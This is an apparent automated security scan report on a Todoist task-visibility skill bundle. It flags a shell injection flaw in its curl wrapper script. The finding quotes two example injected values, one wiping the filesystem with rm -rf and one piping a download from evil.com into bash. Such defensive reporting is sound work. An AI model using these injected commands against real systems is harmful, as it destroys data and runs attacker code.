Todoist 任务可见性管理

• Analyzed: May 12, 2026, 4:24 AM
• Findings: 1
• Version: 1.0.0
• Hash: 0f46c39fd3f1b29bf59fdb8fb36ae05741db12da8a8a8a341d2931885cafd469
• Source: palm
• External report: View on VirusTotal

Findings (1)

The skill bundle is classified as suspicious due to critical shell injection vulnerabilities found in `scripts/todoist_api.sh`. The script directly uses user-supplied arguments `$METHOD` and `$ENDPOINT` in `curl` commands without proper sanitization or validation, allowing an attacker to inject arbitrary shell commands (e.g., `GET; rm -rf /` or `tasks; curl evil.com | bash`) for remote code execution. While there is no explicit malicious payload or exfiltration code within the provided files, this vulnerability allows for such actions to be performed by an attacker.